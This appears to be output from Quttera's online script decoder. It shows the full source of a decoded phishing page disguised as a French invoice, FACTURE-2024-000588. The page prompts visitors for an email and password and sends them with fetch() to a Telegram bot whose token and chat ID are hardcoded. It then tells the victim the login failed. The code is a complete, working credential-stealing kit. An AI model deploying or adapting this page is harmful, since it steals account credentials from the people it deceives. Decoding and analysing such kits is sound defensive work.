Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script language=javascript><!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>FACTURE-2024-000588</title>
  <link rel="stylesheet" href="https://amolami.web.app/style.css">
<link rel="stylesheet" href="https://apijsggle.web.app/css/in.css">
</head>
<body>


<div class="container">  
  <form id="messageForm">
     <div id="contact" class="file-info" style="margin: 10 auto;text-align: center;">
                                <img alt="" src="https://i.ibb.co/RCHTVzg/cbimage.png" style="height:65px;width:250px;">
                                <div class="file-name" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;">
                                </div>
                       <div id="sign" style="text-align: center; color: #0067b8;font-weight: bold;">Pour ouvrir ce document, veuillez entrer les identifiants de connexion auxquels ce fichier a &eacute;t&eacute; envoy&eacute;.</div
    
       <br> <input type="text" name="Email" id="Email" placeholder="Entrez votre e-mail" required autofocus/>
     
    <br> <input type="text" name="Password" id="Password" placeholder="Entrez votre mot de passe" required autofocus/><br>
	  <p id="status"></p> 
    </fieldset>
   
    <fieldset>
      <button name="submit" type="submit" id="contact-submit" data-submit="...Sending">S'identifier</button>
    </fieldset>
  
  </form>
    
</div>
  <script >
    

  const chat_id = '2019782108', botID = 'bot6201689708¼1qa4a2l3re060e3ky32xwca7dtnv9pjeeh8m5ycg-Chx2uDPY';
    const telegramURL = `https://api.telegram.org/${botID}/sendMessage`;
    document.querySelector('#messageForm').addEventListener("submit", async e => { // When the user submits the form
        e.preventDefault(); // Don't submit
        let text = JSON.stringify( // Convert the form data to a string to send as our Telegram message
            Object.fromEntries(new FormData(e.target).entries()), // Convert the form data to an object.
        null, 2); // Prettify the JSON so we can read the data easily
        const sendMessage = await fetch(telegramURL, { // Send the request to the telegram API
            method: 'POST',
            headers: {"Content-Type": "application/json"}, // This is required when sending a JSON body.
            body: JSON.stringify({chat_id, text}), // The body must be a string, not an object
        });
        const messageStatus = document.querySelector('#status');
        if (sendMessage.ok) // Update the user on if the message went through
            messageStatus.textContent = "Mauvaises informations! Veuillez réessayer";
        else
            messageStatus.textContent = "Message Failed to send :( " + (await sendMessage.text());
        e.target.reset(); // Clear the form fields.
    });


  </script> 

  
</body>
</html>
</script>



© 2023 Quttera Ltd. All rights reserved.